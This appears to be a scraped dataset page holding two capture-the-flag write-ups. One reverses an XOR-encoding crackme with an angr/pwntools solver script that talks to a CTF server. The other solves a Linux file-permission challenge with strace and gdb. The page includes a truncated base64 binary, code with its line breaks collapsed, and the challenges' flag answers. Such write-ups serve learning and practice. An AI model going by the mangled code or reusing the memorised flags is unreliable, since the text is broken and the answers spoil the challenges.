AAAiAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAChAAAAAQAAAAIAAAAAAAAACAtAAAAAAAAICwAAAAAAADwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAArwAAAAEAAAACAAAAAAAAAEgLQAAAAAAASAsAAAAAAAAkAQAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALkAAAAOAAAAAwAAAAAAAAAQDmAAAAAAABAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADFAAAADwAAAAMAAAAAAAAAGA5gAAAAAAAYDgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA0QAAAAEAAAADAAAAAAAAACAOYAAAAAAAIA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANYAAAAGAAAAAwAAAAAAAAAoDmAAAAAAACgOAAAAAAAA0AEAAAAAAAAGAAAAAAAAAAgAAAAAAAAAEAAAAAAAAACIAAAAAQAAAAMAAAAAAAAA+A9gAAAAAAD4DwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3wAAAAEAAAADAAAAAAAAAAAQYAAAAAAAABAAAAAAAABIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAOgAAAABAAAAAwAAAAAAAABIEGAAAAAAAEgQAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADuAAAACAAAAAMAAAAAAAAAWBBgAAAAAABYEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA8wAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAWBAAAAAAAAA0AAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIwQAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=Flag:```
All binaries are identical for the exception of the randomly changing key, which we have to find the correct challenge for.
Running the binary prompts for the challenge, encodes it, and then compares it with the random key.```root@pwnie:~# base64 -d f0VMRgIBAQAAAAAAAAAAAAIA... > fever.bin
root@pwnie:~# file fever.binfever.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,BuildID[sha1]=6eb24d371ab6524ea03ae5e1cff24f286d2ff985, stripped
root@pwnie:~# ./fever.binChallenge: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaWrong :C```
Essentially, the binary boils down to the following code:```asm.text:00000000004007CD call ___isoc99_scanf.text:00000000004007D2 add rsp, 60h.text:00000000004007D6 mov rax, [rbp+s2].text:00000000004007DA mov edx, dword ptr [rbp+n].text:00000000004007DD mov esi, edx.text:00000000004007DF mov rdi, rax.text:00000000004007E2 call sub_400841.text:00000000004007E7 mov rax, [rbp+s2].text:00000000004007EB mov edx, dword ptr [rbp+n] ; n.text:00000000004007EE mov rsi, rax ; s2.text:00000000004007F1 mov edi, offset unk_400A90 ; s1.text:00000000004007F6 call _memcmp.text:00000000004007FB test eax, eax.text:00000000004007FD jnz short loc_40080B.text:00000000004007FF mov edi, offset s ; "Send it back!".text:0000000000400804 call _puts.text:0000000000400809 jmp short loc_400815```
* `call ___isoc99_scanf` to get the challenge* `call sub_400841` to encode the challenge* `call _memcmp` to check if the encoded challenge is the same as the random key
If we examine `sub_400841` (encoder), we will observe that the encoder relies on XORs, which are easily reversed by applying the same XORs. So to get the correct challenge, all we need to do is encode the provided random key.
The key is always hardcoded at `.rodata+0x10`:```asm.rodata:0000000000400A90 unk_400A90 db 0B4h ; ¦.rodata:0000000000400A91 db 0EEh ; e.rodata:0000000000400A92 db 96h ; û.rodata:0000000000400A93 db 0DBh ; ¦.rodata:0000000000400A94 db 16h.rodata:0000000000400A95 db 31h ; 1.rodata:0000000000400A96 db 0E5h ; s.rodata:0000000000400A97 db 7Eh ; ~.rodata:0000000000400A98 db 88h ; ê.rodata:0000000000400A99 db 18h.rodata:0000000000400A9A db 21h ; !.rodata:0000000000400A9B db 6Ah ; j.rodata:0000000000400A9C db 5.rodata:0000000000400A9D db 0CAh ; -.rodata:0000000000400A9E db 9Fh ; ƒ.rodata:0000000000400A9F db 0B9h ; ¦```
I used `angr` (http://angr.io/) to solve this task by patching the binaries and reusing their own code to reverse the key.
```pythonimport angr, osfrom pwn import *
_key = 0x0_challenge = 0x0
##### offsets for hooking_scanf = 0x4007CD_encoder = 0x4007E2_get_challenge = 0x4007EB
##### skip reading stdindef scanf_patch(state): pass
##### get the key and manually set it as the input instead of stdindef encoder_patch(state): key = state.memory.load(_key, 16, endness='Iend_LE') state.memory.store(state.regs.rax, key, endness='Iend_LE')
##### get the resulting challenge after encodingdef get_challenge_patch(state): global _challenge _challenge = state.memory.load(state.regs.rax, 16, endness='Iend_BE')
##### solve the binary by running itdef solve(binary): global _key p = angr.Project(binary)
for section in p.loader.main_bin.sections: if section.name == '.rodata': _key = section.min_addr + 0x10 break
init = p.factory.entry_state() p.hook(_scanf, func=scanf_patch, length=5) p.hook(_encoder, func=encoder_patch) p.hook(_get_challenge, func=get_challenge_patch) path = p.factory.path_group(init) explore = path.explore()
key = 0x0 for o in _challenge.to_literal()['objects']: key = _challenge.to_literal()['objects'][o]['object'][1][0] key = '%s' % hex(key) key = key[2:]
if len(key) != 32: key = '0%s' % key
return key
##### run the solver 1000 timesfor _ in range(1001): p = remote('reverse.ctf.org.ru', 8269) p.recv() p.sendline('XRUST') print p.recvlines(2) binary = p.recvline() filename = '/tmp/fever.bin' with open(filename, 'wb') as f: f.write(binary.decode('base64')) os.system('chmod +x %s' % filename) p.recv() p.sendline(solve(filename)) print p.recvall() p.close()
# flag is DEAL_WITH_IT```
|
# USER PERMISSIONS CHALLENGE:
This challenge is about Linux/Unix File System , after mapping the image.bin we find ourselves with 3 important files :
1- The check_32 that checks if the permissions are well set . 2- The user permission matrix . 3- The passwd that maps each user in the matrix with the UID .
The three files look like this :
Execution of check_32 as root : 
Matrix of permissions :  Passwd :

# Solution A: Before going into how the check_32 file works and how it checks for the permissions , one of the solutions is to :
- Create groups for each combination of users , example : group10101 has only mabel stan and saas to it , while group01100 has wendy and stan in it only .- Give to all the files group reading permission with : "chmod g+r *"
On execution of check_32 we find that no user has access to the files , why ? Maybe the program checks for file read capability judging by the file owner . If this is true , Linux can't give 2 people ownership !! This will be a problem .
We need to confirm this first :
We run strace "sudo strace ./check_32" to see the functions used . The functions are : "setfsuid32" then "access" then "open" . After checking for the outputs and the functions used , it seems that the group solution should've worked , without further sticking to the 1st solution we'll go for the second ! using GDB !
# SOLUTION B :
The solution B goes like this :
We open GDB , set a breakpoint on the setfsuid32 ,like this we're breaking before the program checks and change files ownerships . Before this , all files must have read access for their owner so we do a : "chmod 400 * " 1- We open the check_32 ELF file with gdb and list the functions of the program :

2- We set a breakpoint in the function : 
3- We run the program until the breakpoint :

4- We change the owner of the file to the user of the UID in the breakpoint (first time 1004) , then we let the program check .


5- Repeat for userID:1005 and 1006 and 1007 .

6- Finally we get our flag !!
|
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.